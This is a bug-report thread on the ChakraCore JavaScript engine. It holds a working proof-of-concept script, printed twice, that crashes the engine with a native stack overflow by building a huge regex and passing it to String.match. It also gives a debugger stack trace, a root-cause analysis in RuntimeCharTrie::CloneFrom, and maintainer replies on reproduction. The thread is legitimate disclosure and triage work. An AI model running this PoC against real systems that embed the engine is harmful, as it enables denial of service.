Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.

[bjrjk]

Summary

Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.

Description

PoC

The following is JS PoC to feed ch (ChakraCore 1.11.24 x64):

var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];

Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));

for (i in seqs) {
  //print(seqs[i]);
  dnaInput.match(seqs[i]);
}

Analysis

Using windbg to do Time travel debug:

It's easy to find chakracore!UnifiedRegex::RuntimeCharTrie::CloneFrom continuously invoking itself to clone from compile-time allocator to run-time allocator because of the large length of seqs[i], which caused stackoverflow.

The following is a stack trace:

>    ChakraCore.dll!UnifiedRegex::RuntimeCharTrie::CloneFrom(Memory::ArenaAllocator * allocator, const UnifiedRegex::CharTrie & other) 行 203 C++
     ChakraCore.dll!UnifiedRegex::AltNode::AnnotatePass4(UnifiedRegex::Compiler & compiler) 行 2542   C++
     ChakraCore.dll!UnifiedRegex::Compiler::Compile(Js::ScriptContext * scriptContext, Memory::ArenaAllocator * ctAllocator, Memory::ArenaAllocator * rtAllocator, UnifiedRegex::StandardChars<wchar_t> * standardChars, UnifiedRegex::Program * program, UnifiedRegex::Node * root, const wchar_t * litbuf, UnifiedRegex::RegexPattern * pattern, UnifiedRegex::DebugWriter * w, UnifiedRegex::RegexStats * stats) 行 4726   C++
     ChakraCore.dll!Js::RegexHelper::PrimCompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 259 C++
     ChakraCore.dll!Js::RegexHelper::CompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 100 C++
     ChakraCore.dll!Js::JavascriptRegExp::CreatePattern(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 384  C++
     ChakraCore.dll!Js::JavascriptRegExp::CreateRegExNoCoerce(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 414    C++
     ChakraCore.dll!Js::JavascriptRegExp::CreateRegEx(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 409    C++
     ChakraCore.dll!Js::JavascriptString::EntryMatch::__l2::<lambda>(Js::JavascriptString * stringObj) 行 1411    C++
     ChakraCore.dll!Js::JavascriptString::DelegateToRegExSymbolFunction<1,void * <lambda>(Js::JavascriptString *) >(Js::ArgumentReader & args, int symbolPropertyId, Js::JavascriptString::EntryMatch::__l2::void * <lambda>(Js::JavascriptString *) fallback, const wchar_t * varName, Js::ScriptContext * scriptContext) 行 1753    C++
     ChakraCore.dll!Js::JavascriptString::EntryMatch(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 行 1425 C++
     ChakraCore.dll!amd64_CallFunction() 行 208   未知
     ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358   C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, const Js::AuxArray<unsigned int> * spreadIndices) 行 3855    C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, unsigned short profileId, unsigned int inlineCacheIndex, const Js::AuxArray<unsigned int> * spreadIndices) 行 3894    C++
     ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout) 行 505   C++
     ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled() 行 87    C++
     ChakraCore.dll!Js::InterpreterStackFrame::Process() 行 3355  C++
     ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function, Js::ArgumentReader args, void * returnAddress, void * addressOfReturnAddress, Js::InterpreterStackFrame::AsmJsReturnStruct * asmJsReturn) 行 2035 C++
     ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout) 行 1731   C++
     [外部代码]  
     ChakraCore.dll!amd64_CallFunction() 行 208   未知
     ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358   C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 768 C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 728 C++
     ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 829 C++
     ChakraCore.dll!RunScriptCore::__l2::<lambda>(Js::ScriptContext * scriptContext, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper) 行 3632   C++
     ChakraCore.dll!ContextAPIWrapper::__l2::<lambda>(Js::ScriptContext * scriptContext) 行 238   C++
     ChakraCore.dll!ContextAPIWrapper_Core<0,_JsErrorCode <lambda>(Js::ScriptContext *) >(ContextAPIWrapper::__l2::_JsErrorCode <lambda>(Js::ScriptContext *) fn) 行 192  C++
     ChakraCore.dll!ContextAPIWrapper<0,_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) >(RunScriptCore::__l2::_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) fn) 行 235   C++
     ChakraCore.dll!RunScriptCore(void * scriptSource, const unsigned char * script, unsigned __int64 cb, LoadScriptFlag loadScriptFlag, unsigned __int64 sourceContext, const wchar_t * sourceUrl, bool parseOnly, _JsParseScriptAttributes parseAttributes, bool isSourceModule, void * * result) 行 3583   C++
     ChakraCore.dll!CompileRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result, bool parseOnly) 行 4993 C++
     ChakraCore.dll!JsRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 5015  C++
     ch.exe!ChakraRTInterface::JsRun(void * script, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 419   C++
     ch.exe!RunScript(const char * fileName, const char * fileContents, unsigned __int64 fileLength, void(*)(void *) fileContentsFinalizeCallback, void * bufferValue, char * fullPath, void * parserStateCache) 行 479   C++
     ch.exe!ExecuteTest(const char * fileName) 行 913 C++
     ch.exe!ExecuteTestWithMemoryCheck(char * fileName) 行 955    C++
     ch.exe!StaticThreadProc(void * lpParam) 行 1060  C++
     ch.exe!thread_start<unsigned int (__cdecl*)(void *),1>(void * const parameter) 行 97 C++
     [外部代码]  

Detailed Analysis

As you may see in the previous PoC, the seqs[i] after operation Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput)); is a very long regular expression /a|tttaccct/ig,/a|tttaccct/ig,tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgt.... (More than 4000 characters)

When compiling them, they are all constructed as UnifiedRegex::AltNode, which need to build CharTrie at ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2509~2517:

Which is a iterative build process.

bool MatchLiteralNode::BuildCharTrie and CharTrie* CharTrie::Add inside void AltNode::AnnotatePass4 are also running iteratively, so they won't get any problem.

However, when it running to ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2541, in RuntimeCharTrie::CloneFrom:

It is a recursive clone process and the last AltNode node which contains most literal part of seqs[i] and has length more than 4000 will cause CloneFrom repeatedly invoke itself hence stackoverflow.

My recommend solution is to rewrite this part with an iterative coding style.

Thanks!

PS: I've also tried to change the seqs to var seqs = ['aa'];, which lead to the regex compiler treat them as a LiteralNode, hence no need to build a Trie.

Supporting materials/ references:

[ppenzin]

Thank you for your report! This doesn't seem to happen in 1.12, and I am temporary blocked on trying it in 1.11 by #6836.

Update: I can't reproduce this in 1.11 on Ubuntu 22.04. Should have noticed that you are running it on Windows.

[bjrjk]

Hello,

As long as variable dnaInput is longer enough, the bug will be triggered.

You may extend the length of dnaInput by append random slices of dnaInput itself.

[bjrjk]

My above PoC is confirmed again to be reproduced on Windows.

Maybe you could try the following PoC on Ubuntu?

var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];

Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));

for (i in seqs) {
  //print(seqs[i]);
  dnaInput.match(seqs[i]);
}

[ppenzin]

Maybe you could try the following PoC on Ubuntu?

This doesn't fail on Ubuntu either.

[bjrjk]

Hello,
I'm able to reproduce the bug in Ubuntu 18.04 as long as executing ulimit -s1024 to limit the stack size before running ch.

[bjrjk]

On my Ubuntu 18.04, the default value of ulimit -s is 8192.
The following attached PoC file can crash the ch in the above condition.

poc.js.txt

[pleath]

Just so I understand, is the failure result an unhandled StackOverflow exception, or is it an access violation?

[bjrjk]

Unhandled StackOverflow exception.

[ppenzin]

OK, I can confirm that, both in 1.11 and 1.12. I am not sure what to do about this yet, as concocting a very large regex is expected to cause increased stack or heap usage. Rewriting it to be iterative instead of recursive may just shift overhead to a different area.

[rhuanjl]

Just so I understand, is the failure result an unhandled StackOverflow exception, or is it an access violation?

This is a native stackoverflow, there's no ProbeStack call, adding one in results in a JS stack over flow exception.